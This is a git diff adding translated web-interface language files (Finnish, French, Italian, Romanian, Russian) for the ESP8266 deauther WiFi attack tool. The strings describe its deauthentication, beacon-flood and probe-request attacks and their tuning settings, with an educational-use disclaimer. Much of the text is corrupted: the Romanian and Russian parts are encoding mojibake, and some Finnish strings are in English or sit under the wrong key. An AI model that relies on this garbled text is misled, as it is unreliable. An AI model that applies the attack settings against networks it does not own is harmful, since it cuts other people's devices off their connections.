hyökkäystä vastaan.\n - Valitse vain yksi kohde! Kun valitset useita kanavia, jotka toimivat eri kanavilla ja käynnistä hyökkäys, se siirtyy nopeasti näiden kanavien välillä ja sinulla ei ole mahdollisuutta yhdistää uudelleen verkkokäyttöön.", + "beacon_desc": "Beacon-paketteja käytetään tukiasemien mainostamiseen. Lähettämällä jatkuvasti beacon-paketteja ulos näyttää siltä, että olet luonut uusia WiFi-verkkoja.\nVoit muokata ja luoda omia SSID-verkkoja kohdassa SSIDt ", + "probe_desc": "Asiakkaan laitteita lähettävät koetinkyselypyynnöt kysyäkseen, onko tunnettu verkko lähellä.\nKäytä tätä hyökkäystä hämmentääkseen WiFi-seurantaohjelmia pyytämällä SSID-luettelossa määritettyjä verkkoja.\nOn epätodennäköistä, että tämä hyökkäys vaikuttaa kotiverkkoosi.", + "setting_version": "Versio, esim. v2.0.\nTämä asetus voidaan muuttaa vain lähdekoodissa.", + "setting_ssid": "Verkkokäyttöliittymän käytetyn tukiaseman SSID (jos käytössä).\nThe length must be between 1 and 31 characters.", + "setting_password": "Password of access point used for the web interface (if enabled).\nVerkon nimen pituuden on oltava 1 - 31 merkkiä.", + "setting_channel": "Oletus WiFi-kanava, jota käytetään käynnistettäessä.", + "setting_hidden": "Piilottaa Wi-FI tukiaseman, jota käytetään web-käyttöliittymässä (jos se on käytössä).", + "setting_captivePortal": "Ottaa käyttöön sidotun portaalin tukiasemalle (jos se on käytössä).", + "setting_autosave": "Mahdollistaa SSID-tunnusten, laitteen nimien ja asetusten automaattisen tallennuksen.", + "setting_autosavetime": "Automaattisen tallennuksen aikaväli millisekunteina.", + "setting_display": "Mahdollistaa käyttöliittymän näytöille (esim. OLED-näyttö).", + "setting_displayTimeout": "Aika sekunneissa, jonka jälkeen näyttö sammuu, kun se ei ole aktiivinen.\nVoit poistaa näytön aikakatkaisun käytöstä asettamalla sen arvoon 0.", + "setting_serial": "Mahdollistaa sarjaliitännän.\n Suositellaan, että sitä ei poisteta käytöstä.", + "setting_serialEcho": "Mahdollistaa jokaisen saapuvan viestin kaiun sarjamuotoon.", + "setting_web": "Ottaa käyttöön web-käyttöliittymän.", + "setting_webSpiffs": "Ottaa käyttöön SPIFFS-tiedoston kaikille web-tiedostoille.", + "setting_led": "Ottaa käyttöön (RGB) LED-ominaisuuden.", + "setting_maxch": "Max. kanava jolla skannataan.\n US = 11, EU = 13, Japani = 14.", + "setting_macAP": "MAC-osoite, jota käytetään tukiasematilassa.\n Huomaa, että MAC-osoite korvaa vain sisäisen MAC-osoitteen, kun tukiasematila on käytössä.", + "setting_macSt": "MAC-osoite, jota käytetään asematilassa.\n Katso, että MAC-osoite korvaa vain sisäisen MAC-osoitteen, kun asema on käytössä.", + "setting_chtime": "Aika skannaa yksi kanava ennen siirtymistä seuraavaan millisekunteina (vain jos kanavan hopping on käytössä).", + "setting_minDeauths": "Vähimmäismäärä autentikointikehyksiä skannauksen aikana, jotta LED-valo palautuisi pois käytöstä.", + "setting_attacktimeout": "Kun määräaika (sekunteina) hyökkäys pysähtyy automaattisesti.\n Aseta se lukuun 0 sen poistamiseksi käytöstä.", + "setting_forcepackets": "Kuinka monta yritystä paketin lähettämiseen. \n Aseta tämä arvo korkeammalle, jos haluat saavuttaa paremman pakettinopeuden kiireisellä alueella. \n Huomaa tämä asetus saattaa tehdä laitteesta hitaamman tai epävakaamman. \n Max-arvo on 255!", + "setting_deauthspertarget": "Kuinka monta deautentikointi- ja disassociation kehystä lähetetään jokaiselle kohteelle.", + "setting_deauthReason": "Syykoodi, joka lähetetään deauth-kehyksillä kertoo kohdelaitteelle, miksi yhteys suljetaan.", + "setting_beaconchannel": "Jos tämä toiminto on käytössä, lähetät kaikki kehykset eri kanaville, kun käytetään majakka-hyökkäystä.", + "setting_beaconInterval": "Jos asetetaan true, lähettimet lähetetään joka sekunti. Jos asetuksena on väärä, aikaväli on 100 ms. \n Pidempi aikaväli merkitsee pakettien vakautta ja vähemmän roskapostia, mutta saattaa kestää kauemmin, kunnes asiakkaat löytävät ssidit skannauksen aikana.", + "setting_randomTX": "Mahdollistaa satunnaistetun lähetystehon lähettämällä majakka- ja koetinkyselykehyksiä.", + "setting_probesPerSSID": "Kuinka monta koetinkyselyn kehystä lähetetään jokaiselle SSID: lle", + "setting_lang": "Web-käyttöliittymän oletuskieli. \n Varmista, että kielitiedosto on olemassa!" +} diff --git a/enp8266/esp8266_deauther-master/web_interface/lang/fr.lang b/enp8266/esp8266_deauther-master/web_interface/lang/fr.lang new file mode 100755 index 0000000..c76d5c2 --- /dev/null +++ b/enp8266/esp8266_deauther-master/web_interface/lang/fr.lang @@ -0,0 +1,75 @@ +{ + "lang": "fr", + "warning": "ATTENTION", + "disclaimer": "Ce projet est une preuve de concept destinée a l'usage éducatif.\nNi l'ESP8266 ni le SDK ne sont initialement prévus pour cette utilisation. Gare aux bugs !\n\nÀ n'utiliser qu'avec votre réseau privé et sur vos propres appareils !\n\nCe projet utilise des trames WiFi valides telles que décrites dans le standard IEEE 802.11; a noter qu'aucun blocage ou brouillage n'est effectué sur les fréquences utilisées.\nVeillez à bien vérifier les lois en vigueur dans votre pays avant de vous en servir.\n\nNote: ceux qui parlent de ce projet en tant que \"brouilleur\" ou \"jammer\" ou qui copient le contenu sans fournir d'explications ne font que prouver leur méconnaissance sur le sujet ou leurs intentions de générer des titres putaclic sans respecter la propriété intellectuelle, la communauté ou l'effort fourni pour obtenir un meilleur standard WiFi.\n\nPour plus d'informations sur le sujet, rendez-vous sur:", + "disclaimer-button": "J'ai lu et compris le texte ci-dessus", + "reload": "Rafraîchir", + "scan": "Scanner", + "ssids": "SSIDs", + "attacks": "Attaques", + "settings": "Paramètres", + "info": "Info", + "info_span": "INFO: ", + "all": "Tous", + "channel": "Channel", + "devices": "Appareils enregistrés", + "select_all": "Tout sélectionner", + "deselect_all": "Tout désélectionner", + "remove_all": "Tout supprimer", + "station_scan_time": "Durée du Scan de Stations", + "new": "Nouveau", + "save": "Enregistrer", + "add": "Ajouter", + "add_selected": "Cloner les APs", + "overwrite": "Écraser", + "time_interval": "Intervalle", + "number": "Nombre", + "targets": "Cibles", + "scan_info": "- Cliquer sur \"Scanner\" et attendre jusqu'à ce que la LED bleue s'éteigne ou passe au vert, puis cliquer sur \"Rafraîchir\".\n- L'interface web sera inaccessible pendant le scan des stations et il faudra probablement reconnecter le WiFi !\n- Ne sélectionner qu'une seule cible !\n", + "ssids_info": "- Les SSID dans cette liste sont utilisés pour les deux modes d'attaques Balise et Sonde.\n- Chaque SSID peut contenir jusqu'à 32 caractères.\n- Ne pas oublier d’enregistrer après l'édition :)\n- Il faut rafraîchir après avoir cloné un SSID.\n", + "attack_info": "- Toute attaque peut déclencher une déconnexion !\n- Il faut sélectionner une cible pour l'attaque deauth.\n- Il faut au moins un SSID enregistré pour que les modes d'attaque Balise et Sonde fonctionnent.\n- Cliquer sur Rafraîchir pour mettre à jour le taux de paquets.\n", + "settings_info": "- Certains changements de paramètres nécessitent de relancer l'appareil.\n- Pensez à cliquer sur Enregistrer.\n", + "info_disclaimer": "En cas d'erreur inattendue, le moniteur série peut fournir de précieuses informations et aider au debug.", + "start_stop": "DÉMARRER / STOPPER", + "start": "DÉMARRER", + "stop": "STOPPER", + "wifi_off": "WiFi arrêté", + "reboot": "Rebouter", + "reset": "Remise à zéro", + "enable_random": "Activer le mode entropique", + "disable_random": "Désactiver le mode entropique", + "random_desc": "Déclare un liste de SSID au hasard et à intervalle régulier.", + "deauth_desc": "Force la fermeture des appareils WiFi sélectionnés en envoyant des trames de désauthentification aux points d’accès auquel ils sont connectés.\nCette situation n'existe que parce que la majorité des appareils WiFi actuels n'implémentent pas le standard 802.11w-2009 qui offre une protection contre ce genre d'attaque.\n- Attention a ne sélectionner qu'une seule cible, sans quoi vous perdrez accès à l'interface web à cause des sauts incessants entre les différents channels.\n", + "beacon_desc": "Un paquet 'balise' est généralement utilisé pour annoncer l'existence d'un point d’accès. L'envoi incessant de paquets balise permet de faire croire à la création ininterrompue de ces réseaux WiFi.\nLes noms de ces réseaux peuvent être spécifiés dans la section SSIDs.", + "probe_desc": "Les demandes de sondes sont effectuées par l'appareil client afin de demander si un réseau connu est proche.\nCette attaque peut semer la confusion auprès des war walkers ou autres appareils de tracking WiFi, et peut être personnalisée en spécifiant une liste de SSIDs.\nElle est très peu impactante sur les réseaux domestiques.", + "setting_version": "Numéro de version, ex: v2.0.\nCe paramètre ne peut être changé qu'en recompilant le code.", + "setting_ssid": "Le SSID du point d’accès utilisé pour l'interface web (si activée).\nEntre 1 et 31 caractères, maximum 8 émojis.", + "setting_password": "Le mot de passe du point d’accès utilisé pour l'interface web (si activée).\nEntre 8 et 31 caractères.", + "setting_channel": "Le channel WiFi par défaut au démarrage.", + "setting_hidden": "Masque le point d’accès qui est utilisé pour l'interface web (si activée).", + "setting_captivePortal": "Active le portail captif pour le point d’accès (si activé).", + "setting_autosave": "Active l'enregistrement automatique des SSIDs et noms d'appareils dans les paramètres.", + "setting_autosavetime": "Intervalle de temps entre deux enregistrements automatiques (en millisecondes).", + "setting_display": "Active l'écran.", + "setting_displayTimeout": "Temps d'inactivité avant que l'écran ne s'éteigne automatiquement (en secondes).\nRenseigner 0 pour désactiver.", + "setting_serial": "Active l'interface série.\nIl n'est pas recommandé de la désactiver !", + "setting_serialEcho": "Enables echo for each incoming message over serial.", + "setting_web": "Active l'interface Web.", + "setting_webSpiffs": "Enables SPIFFS for all web files.", + "setting_led": "Active la LED RGB.", + "setting_maxch": "Nb Max. de channel a scanner.\nUS = 11, EU = 13, Japon = 14.", + "setting_macAP": "Adresse MAC utilisée par le mode point d’accès.\nNote: ne remplace que l'adresse MAC interne quand le mode point d’accès est actif.", + "setting_macSt": "Adresse MAC utilisée par le mode station.\nNote: ne remplace que l'adresse MAC interne quand le mode station est actif.", + "setting_chtime": "Temps passé a scanner un channel en millisecondes (seulement si le saut de channel est activé).", + "setting_minDeauths": "Nombre minimum de trames de désauthentification détectées pendant le scan pour passer la LED en mode deauth.", + "setting_attacktimeout": "Au bout de combien de secondes l'attaque doit stopper.\nRenseigner 0 pour désactiver la limite.", + "setting_forcepackets": "Nombre d'essais pour chaque envoi de paquet.\nRenseigner une valeur plus haute dans les zones saturées.\nCe paramètre peut aussi ralentir l'appareil, voire le rendre inutilisable.\nToujours renseigner une valeur Entre 0 et 255 !", + "setting_deauthspertarget": "Combien de trames de désauthentification et dissociation sont envoyées à chaque cible.", + "setting_deauthReason": "Le code 'raison' (ou mot d'excuse) qui est envoyé avec toutes les trames de désauthentification et qui précise pourquoi la connection va être fermée.", + "setting_beaconchannel": "Affecte l'attaque Balise en distribuant les paquets sur différents channels.", + "setting_beaconInterval": "Actif: envoie des balises toutes les secondes. Inactif: envoie des balises tous les 100ms.\nPlus l'intervalle est grand plus l'ESP reste stable, et mois les effets de l'attaque se font sentir.", + "setting_randomTX": "Fait varier la puissance de transmission en mode balise, sonde ou demande de sonde.", + "setting_probesPerSSID": "Combien de demandes de sondes sont envoyées pour chaque SSID.", + "setting_lang": "Langage par défaut dans l'interface web.\nAssurez vous que le langage existe !" +} + diff --git a/enp8266/esp8266_deauther-master/web_interface/lang/it.lang b/enp8266/esp8266_deauther-master/web_interface/lang/it.lang new file mode 100755 index 0000000..4d1b80d --- /dev/null +++ b/enp8266/esp8266_deauther-master/web_interface/lang/it.lang @@ -0,0 +1,74 @@ +{ + "lang": "it", + "warning": "AVVERTIMENTO", + "disclaimer": "Questo progetto è una prova di concetto per scopi di test e didattici. \nNè l'ESP8266, né il relativo SDK sono stati progettati o costruiti per tali scopi. \n\nUtilizza i frame Wi-Fi validi descritti nello standard IEEE 802.11 e non bloccare o interrompere alcuna frequenza. \nSi prega di verificare le normative legali del proprio paese prima di utilizzarlo. \n\nSi prega di non fare riferimento a questo progetto come \"jammer\", questo mina totalmente il vero scopo di questo progetto!\nSe lo fai, dimostri solo che non hai capito nulla di ciò che questo progetto rappresenta. \nPubblicare il contenuto senza una spiegazione adeguata dimostra che lo fai solo per clic, fama e/o denaro e non ha alcun rispetto per la proprietà intellettuale, la comunità dietro di esso e la lotta per un migliore standard WiFi. \n\nPer maggiori informazioni visita:", + "disclaimer-button": "Ho letto e capito l'avviso di cui sopra", + "reload": "Ricaricare", + "scan": "scansione", + "ssids": "SSIDs", + "attacks": "Attacchi", + "settings": "Impostazioni", + "info": "Informazioni", + "info_span": "INFO: ", + "all": "Tutti", + "channel": "Canale", + "devices": "Dispositivi salvati", + "select_all": "Seleziona Tutto", + "deselect_all": "Deseleziona Tutto", + "remove_all": "Rimuovi Tutto", + "station_scan_time": "Tempo di scansione della stazione", + "new": "Nuovo", + "save": "Salvare", + "add": "Inserisci", + "add_selected": "Clona gli APs selezionati", + "overwrite": "Sovrascrivere", + "time_interval": "Intervallo di tempo", + "number": "Numero", + "targets": "Obiettivi", + "scan_info": "- Fai clic su Scansione e attendi fino a quando il LED blu sulla scheda si spegne (o diventa verde), quindi fai clic su Ricarica.\n- L'interfaccia web non sarà disponibile durante la scansione di una stazione e dovrai riconnetterti!\n- Seleziona solo un obiettivo!\n", + "ssids_info": "- Questo elenco SSID viene utilizzato per l'attacco beacon e probe.\n- Ogni SSID può contenere fino a 32 caratteri.\n- Non dimenticare di fare clic su Salva quando hai modificato un SSID.\n- Devi fare clic su Ricarica dopo la clonazione SSID.\n", + "attack_info": "- Potresti perdere la connessione quando avvii un attacco!\n- Devi selezionare un bersaglio per l'attacco deauth.\n- Hai bisogno di un SSID salvato per l'attacco beacon e l'attacco Probe.\n- Fai clic su ricarica per aggiornare la velocità del pacchetto.\n", + "settings_info": "- Alcune impostazioni richiedono un riavvio.\n- Fai clic su Salva per assicurarti che le modifiche siano applicate.\n", + "info_disclaimer": "In caso di errore imprevisto, ricarica il sito e controlla il monitor seriale per ulteriori debug.", + "start_stop": "AVVIO / STOP", + "start": "AVVIO", + "stop": "STOP", + "wifi_off": "WiFi Off", + "reboot": "Riavvio", + "reset": "Reset", + "enable_random": "Abilita la modalità casuale", + "disable_random": "Disabilita la modalità casuale", + "random_desc": "Abilitare la modalità casuale per generare un elenco SSID casuale in un dato intervallo.", + "deauth_desc": "Chiude la connessione dei dispositivi WiFi inviando i frame di deautenticazione agli access point e ai dispositivi client selezionati.\nQuesto è possibile solo perché molti dispositivi non utilizzano lo standard 802.11w-2009 che offre una protezione contro questo attacco.\n- Si prega di selezionare solo un bersaglio! Quando selezioni più bersagli che vengono eseguiti su canali diversi e avvii l'attacco, passerà rapidamente da questi canali e non avrai alcuna possibilità di riconnetterti all'interfaccia web.\n", + "beacon_desc": "I pacchetti beacon vengono utilizzati per pubblicizzare i punti di accesso. Inviando continuamente pacchetti di beacon, sembrerà che tu abbia creato nuove reti WiFi.\nÈ possibile specificare i nomi di rete sotto SSID.", + "probe_desc": "Le richieste di probe vengono inviate dai dispositivi client per chiedere se una rete nota si trova nelle vicinanze.\nUtilizzare questo attacco per confondere i tracker WiFi chiedendo le reti specificate nell'elenco SSID.\nÈ improbabile che non vedrete alcun impatto da questo attacco con la vostra rete Casalinga.", + "setting_version": "Numero di versione, ad esempio v2.0.\nQuesta impostazione può essere modificata solo nel codice sorgente.", + "setting_ssid" : "SSID del punto di accesso utilizzato per l'interfaccia Web (se abilitato).\nLa lunghezza deve essere compresa tra 1 e 31 caratteri.", + "setting_password": "Password del punto di accesso utilizzata per l'interfaccia Web (se abilitata).\nLa lunghezza deve essere compresa tra 8 e 31 caratteri.", + "setting_channel": "Canale WiFi predefinito che viene utilizzato all'avvio.", + "setting_hidden": "Nasconde il punto di accesso utilizzato per l'interfaccia Web (se abilitato).", + "setting_captivePortal": "Abilita il captive portal per il punto di accesso (se abilitato).", + "setting_autosave": "Abilita il salvataggio automatico di SSID, nomi di dispositivi e impostazioni.", + "setting_autosavetime": "Intervallo di tempo per il salvataggio automatico in millisecondi.", + "setting_display": "Abilita l'interfaccia display.", + "setting_displayTimeout": "Tempo in secondi dopo il quale il display si spegne quando inattivo.\nPer disabilitare il timeout del display, impostarlo su 0.", + "setting_serial": "Abilita l'interfaccia seriale.\nSi consiglia di non disattivarlo!", + "setting_serialEcho": "Abilita la ripetizione per ogni messaggio in arrivo su seriale.", + "setting_web": "Abilita l'interfaccia web.", + "setting_webSpiffs": "Abilita SPIFFS per tutti i file Web.", + "setting_led": "Abilita la funzione LED (RGB).", + "setting_maxch": "Max. canale su cui eseguire la scansione.\nUS = 11, EU = 13, Japan = 14.", + "setting_macAP": "Indirizzo MAC utilizzato per la modalità punto di accesso.\nSi noti che l'indirizzo MAC sostituirà solo l'indirizzo MAC interno quando la modalità punto di accesso è abilitata.", + "setting_macSt": "Indirizzo MAC utilizzato per la modalità stazione.\nSi prega di notare che l'indirizzo MAC sostituirà solo l'indirizzo MAC interno quando la modalità stazione è abilitata.", + "setting_chtime": "Tempo di scansione di un canale prima di passare al successivo in millisecondi (solo se il passaggio del canale è abilitato).", + "setting_minDeauths": "Numero minimo di frame di deautenticazione durante la scansione per cambiare la modalità LED in Deauth.", + "setting_attacktimeout": "Dopo quanto tempo (in secondi) l'attacco si fermerà automaticamente.\nImpostalo su 0 per disabilitarlo.", + "setting_forcepackets": "Quanti tentativi di invio di un pacchetto.\nImpostare questo valore più alto se si desidera ottenere una migliore velocità di pacchetto in un'area occupata.\nAttenzione che questa impostazione può rendere il dispositivo più lento o più instabile.\nIl valore massimo è 255!", + "setting_deauthspertarget": "Quanti frame di deautenticazione e disassociazione vengono inviati per ciascun target.", + "setting_deauthReason": "Il codice motivo che viene inviato con i frame deauth per dire al dispositivo di destinazione perché la connessione verrà chiusa.", + "setting_beaconchannel": "Se abilitato, invierà tutti i frame su diversi canali durante l'esecuzione di un attacco beacon.", + "setting_beaconInterval": "Se impostato vero, i beacon verranno inviati ogni secondo. Se impostato su falso, l'intervallo sarà 100 ms.\nUn intervallo più lungo significa maggiore stabilità e meno spamming dei pacchetti, ma potrebbe richiedere più tempo fino a quando i client trovano gli SSID durante la scansione.", + "setting_randomTX": "Abilita potenza di trasmissione randomizzata per l'invio di richieste frames di beacon e probe.", + "setting_probesPerSSID": "Quanti frames di richiesta probe vengono inviati per ciascun SSID.", + "setting_lang": "Lingua predefinita per l'interfaccia Web.\nAssicurarsi che il file della lingua esista!" +} diff --git a/enp8266/esp8266_deauther-master/web_interface/lang/ro.lang b/enp8266/esp8266_deauther-master/web_interface/lang/ro.lang new file mode 100755 index 0000000..bb6ad56 --- /dev/null +++ b/enp8266/esp8266_deauther-master/web_interface/lang/ro.lang @@ -0,0 +1,74 @@ +{ + "lang": "ro", + "warning": "ATENÈšIE", + "disclaimer": "Acest proiect este o dovadă a conceptului de testare È™i scopuri educaÈ›ionale.\nESP8266 si SDK-ul nu au fost create pentru astfel de scopuri. Pot apărea bug-uri!\n\nUtilizaÈ›i-l numai pe propriile reÈ›ele È™i dispozitive!\n\nAcest soft foloseste cadre valide Wifi descrise în standartul IEEE 802.11 È™i nu blochează sau întrerupe nici o frecvență.\nVerificaÈ›i reglementările legale din È›ara dvs. înainte de a le utiliza.\n\nNu vă referiÈ›i la acest proiect ca o \"statie de brutaj\", acesta descridită complet scopul real al acestui proiect!\nDacă o faci,aceasta dovedeÈ™te doar că nu aÈ›i înÈ›eles nimic despre din ceea ce reprezintă acest proiect..\nPublicarea conÈ›inutului despre aceasta fără o explicaÈ›ie adecvată arată că o faceÈ›i doar pentru clicuri, faimă È™i / sau bani È™i că nu aveÈ›i respect pentru proprietatea intelectuală, comunitatea din spatele ei È™i lupta pentru un standard WiFi mai bun.\n\nPentru mai multe informaÈ›ii vizitaÈ›i:", + "disclaimer-button": "Am citit È™i am înÈ›eles nota de mai sus", + "reload": "Reîncarcă", + "scan": "ScanaÈ›i", + "ssids": "SSID-uri", + "attacks": "Atacuri", + "settings": "Setări", + "info": "Info", + "info_span": "INFO: ", + "all": "Toate", + "channel": "Canal", + "devices": "Dispozitive salvate", + "select_all": "Selectează tot", + "deselect_all": "DeselectaÈ›i tot", + "remove_all": "Inlătură tot", + "station_scan_time": "Timp de scanare a staÈ›iei", + "new": "Nou", + "save": "SalvaÈ›i", + "add": "Adăuga", + "add_selected": "Clonează AP-urile selectate", + "overwrite": "Suprascriere", + "time_interval": "Interval de timp", + "number": "Număr", + "targets": "Èšintă", + "scan_info": "- FaceÈ›i clic pe Scanare È™i aÈ™teptaÈ›i până când LED-ul albastru de pe tablă se opreÈ™te (sau se schimbă în verde), apoi faceÈ›i clic pe Reîncărcare.\n- InterfaÈ›a web nu va fi disponibilă în timpul scanării unui post È™i va trebui să vă reconectaÈ›i!\n- SelectaÈ›i doar o singură È›intă!\n", + "ssids_info": "- Această listă SSID este utilizată pentru atacul sondei È™i sondei.\n- Fiecare SSID poate avea până la 32 de caractere.\n- Nu uitaÈ›i să faceÈ›i clic pe SalvaÈ›i când aÈ›i editat un SSID.\n- Trebuie să faceÈ›i clic pe ReîncărcaÈ›i după clonarea SSID-urilor.\n", + "attack_info": "- S-ar putea să pierdeÈ›i conexiunea când începeÈ›i un atac!\n- Trebuie să selectaÈ›i o È›intă pentru atacul deauth.\n- AveÈ›i nevoie de un SSID salvat pentru atacul sondei È™i sondei.\n- FaceÈ›i clic pe reîncărcaÈ›i pentru a actualiza rata de pachete.\n", + "settings_info": "- Unele setări necesită repornire.\n- FaceÈ›i clic pe SalvaÈ›i pentru a vă asigura că modificările sunt aplicate.\n", + "info_disclaimer": "ÃŽn cazul unei erori neaÈ™teptate, reîncărcaÈ›i site-ul È™i examinaÈ›i monitorul serial pentru o depanare ulterioară.", + "start_stop": "START / STOP", + "start": "START", + "stop": "STOP", + "wifi_off": "Stingeti wifi-ul", + "reboot": "ReporniÈ›i", + "reset": "Restabili", + "enable_random": "ActivaÈ›i modul aleatoriu", + "disable_random": "DezactivaÈ›i modul aleatoriu", + "random_desc": "ActivaÈ›i modul aleatoriu pentru a genera o listă aleatorie SSID într-un interval dat.", + "deauth_desc": "ÃŽnchide conexiunea dispozitivelor WiFi prin trimiterea cadrelor de autentificare pentru a accesa punctele È™i dispozitivele client selectate.\nAcest lucru este posibil numai pentru că o mulÈ›ime de dispozitive nu utilizează standardul 802.11w-2009 care oferă o protecÈ›ie împotriva acestui atac.\n- SelectaÈ›i doar o singură È›intă! Când selectaÈ›i mai multe È›inte care rulează pe diferite canale È™i începeÈ›i atacul, acesta va comuta rapid între acele canale È™i nu aveÈ›i nicio È™ansă să vă reconectaÈ›i la interfaÈ›a web.\n", + "beacon_desc": "Pachetele de baliză sunt utilizate pentru a face publicitate punctelor de acces. Prin trimiterea continuă a pachetelor de baliză, va părea că aÈ›i creat noi reÈ›ele WiFi.\nPuteÈ›i specifica numele reÈ›elei sub SSID-uri.", + "probe_desc": "Solicitările sonde sunt trimise de dispozitivele client pentru a întreba dacă o reÈ›ea cunoscută este în apropiere.\nUtilizaÈ›i acest atac pentru a confunda trackerele WiFi solicitând reÈ›elele pe care le-aÈ›i specificat în lista SSID.\nEste puÈ›in probabil că veÈ›i vedea impactul acestui atac cu reÈ›eaua dvs. de domiciliu.", + "setting_version": "Versiunea numarul, i.e. v2.0.\nAceastă setare poate fi modificată numai în codul sursă.", + "setting_ssid" : "SSID al punctului de acces utilizat pentru interfaÈ›a web (dacă este activat).\nLungimea trebuie să fie cuprinsă între 1 È™i 31 de caractere.", + "setting_password": "Parola punctului de acces utilizat pentru interfaÈ›a web (dacă este activată).\nLungimea trebuie să aibă între 8 È™i 31 de caractere.", + "setting_channel": "Canal WiFi prestabilit utilizat la pornire.", + "setting_hidden": "Ascunde punctul de acces utilizat pentru interfaÈ›a web (dacă este activat).", + "setting_captivePortal": "Activează portalul captiv pentru punctul de acces (dacă este activat).", + "setting_autosave": "Permite salvarea automată a SSID-urilor, a numelor dispozitivelor È™i a setărilor.", + "setting_autosavetime": "Interval de timp pentru salvarea automată în milisecunde.", + "setting_display": "Activează interfaÈ›a de afiÈ™are.", + "setting_displayTimeout": "Timpul în secunde după care afiÈ™ajul se stinge când este inactivă.\nPentru a dezactiva expirarea timpului de afiÈ™are, setaÈ›i-l la 0.", + "setting_serial": "Activează interfaÈ›a serială.\nNu este recomandat să-l dezactivaÈ›i!", + "setting_serialEcho": "Permite ecou pentru fiecare mesaj primit peste serial.", + "setting_web": "Activează interfaÈ›a web.", + "setting_webSpiffs": "Activează SPIFFS pentru toate fiÈ™ierele web.", + "setting_led": "Permite caracteristica LED (RGB).", + "setting_maxch": "Max. canal pentru scanare.\nUS = 11, EU = 13, Japonia = 14.", + "setting_macAP": "Adresa MAC folosită pentru modul punct de acces.\nReÈ›ineÈ›i că adresa MAC va înlocui numai adresa MAC internă când modul de punct de acces este activat.", + "setting_macSt": "Adresa MAC folosită pentru modul staÈ›ie.\nReÈ›ineÈ›i că adresa MAC va înlocui numai adresa MAC internă când modul staÈ›ie este activat.", + "setting_chtime": "Timp pentru scanarea unui canal înainte de a trece la următoarea în milisecunde (numai dacă este activată alunecarea canalului).", + "setting_minDeauths": "Numărul minim de cadre de autentificare la scanare pentru a schimba modul LED-uri în modul de atestat.", + "setting_attacktimeout": "După ce timp (în secunde) atacul se va opri automat.\nSetaÈ›i-l la 0 pentru al dezactiva.", + "setting_forcepackets": "Câte încercări de a trimite un pachet.\nSetaÈ›i această valoare mai mare dacă doriÈ›i să obÈ›ineÈ›i o rată de pachet mai bună într-o zonă ocupată.\nAveÈ›i grijă ca această setare să facă aparatul mai lent sau mai instabil.\nValoarea maximă este 255!", + "setting_deauthspertarget": "Câte cadre de autentificare È™i de dezasociune sunt trimise pentru fiecare È›intă.", + "setting_deauthReason": "Codul motiv care este trimis cu cadrele de deaut pentru a indica dispozitivului destinaÈ›ie de ce conexiunea va fi închisă.", + "setting_beaconchannel": "Dacă este activată, va trimite toate cadrele pe diferite canale atunci când rulează un atac de baliză.", + "setting_beaconInterval": "Dacă este setat corect, balize vor fi trimise în fiecare secundă. Dacă este setat la false, intervalul va fi de 100ms.\nUn interval mai lung înseamnă mai multă stabilitate È™i mai puÈ›in spam de pachete, dar ar putea dura mai mult până când clienÈ›ii găsesc ssids atunci când scanează.", + "setting_randomTX": "Permite puterea de transmisie randomizată pentru trimiterea cadrelor de baliză È™i a sondei.", + "setting_probesPerSSID": "Câte cadre de solicitare a sondei sunt trimise pentru fiecare SSID.", + "setting_lang": "Limba prestabilită pentru interfaÈ›a web.\nAsiguraÈ›i-vă că fiÈ™ierul de limbă există!" +} diff --git a/enp8266/esp8266_deauther-master/web_interface/lang/ru.lang b/enp8266/esp8266_deauther-master/web_interface/lang/ru.lang new file mode 100755 index 0000000..a866f19 --- /dev/null +++ b/enp8266/esp8266_deauther-master/web_interface/lang/ru.lang @@ -0,0 +1,74 @@ +{ + "lang": "ru", + "warning": "ПРЕДУПРЕЖДЕÐИЕ", + "disclaimer": "Этот проект можно иÑпользовать только Ð´Ð»Ñ Ñ‚ÐµÑÑ‚Ð¸Ñ€Ð¾Ð²Ð°Ð½Ð¸Ñ Ð¸ в образовательных целÑÑ…. \n ИÑпользуйте его только Ð´Ð»Ñ Ñвоих Ñетей и уÑтройÑтв! \n ИÑпользует дейÑтвительные фреймы Wi-Fi, опиÑанные в Ñтандарте IEEE 802.11, не блокирует и не прерывает какие-либо чаÑтоты.\nПожалуйÑта, ознакомьтеÑÑŒ Ñ Ð¿Ñ€Ð°Ð²Ð¾Ð²Ñ‹Ð¼Ð¸ нормами в Ñвоем Ñтраны, прежде чем иÑпользовать Ñтот код. \n\nПожалуйÑта, не обращайтеÑÑŒ к Ñтому проекту как «jammer», что полноÑтью подрывает реальную цель Ñтого проекта! \nЕÑли вы Ñто Ñделаете, Ñто только докажет, что вы ничего не понимали из того, что Ñтот проект означает. \n ÐŸÑƒÐ±Ð»Ð¸ÐºÐ°Ñ†Ð¸Ñ ÐºÐ¾Ð½Ñ‚ÐµÐ½Ñ‚Ð° об Ñтом без надлежащего объÑÑÐ½ÐµÐ½Ð¸Ñ Ð¿Ð¾ÐºÐ°Ð·Ñ‹Ð²Ð°ÐµÑ‚, что вы делаете Ñто только за клики, Ñлаву и деньги и не уважаете интеллектуальную ÑобÑтвенноÑÑ‚ÑŒ, ÑообщеÑтво за ней и борьбу за лучший Ñтандарт WiFi . \n\nÐ”Ð»Ñ Ð¿Ð¾Ð»ÑƒÑ‡ÐµÐ½Ð¸Ñ Ð´Ð¾Ð¿Ð¾Ð»Ð½Ð¸Ñ‚ÐµÐ»ÑŒÐ½Ð¾Ð¹ информации поÑетите:", + "disclaimer-button": "Я прочитал и понÑл Ñообщение выше", + "reload": "Обновить", + "scan": "Сканировать", + "ssids": "SSIDs", + "attacks": "Ðтаки", + "settings": "КонфигурациÑ", + "info": "ИнформациÑ", + "info_span": "ИнформациÑ: ", + "all": "Ð’Ñе", + "channel": "Канал", + "devices": "Сохранить уÑтройÑтво", + "select_all": "Выбрать вÑе", + "deselect_all": "Отменить вÑе", + "remove_all": "Удалить вÑе", + "station_scan_time": "Ð’Ñ€ÐµÐ¼Ñ ÑÐºÐ°Ð½Ð¸Ñ€Ð¾Ð²Ð°Ð½Ð¸Ñ Ñтанций", + "new": "Ðовое", + "save": "Сохранить", + "add": "Добавить", + "add_selected": "Клонировать выбранные APs", + "overwrite": "Затереть", + "time_interval": "Временной интервал", + "number": "Ðомер", + "targets": "Цели", + "scan_info": "- Ðажмите «Сканировать» и подождите, пока Ñиний Ñветодиод на вашей плате не погаÑнет (или не Ñтанет зеленым), а затем нажмите «Обновить». \n- Веб-Ð¸Ð½Ñ‚ÐµÑ€Ñ„ÐµÐ¹Ñ Ð±ÑƒÐ´ÐµÑ‚ недоÑтупен во Ð²Ñ€ÐµÐ¼Ñ 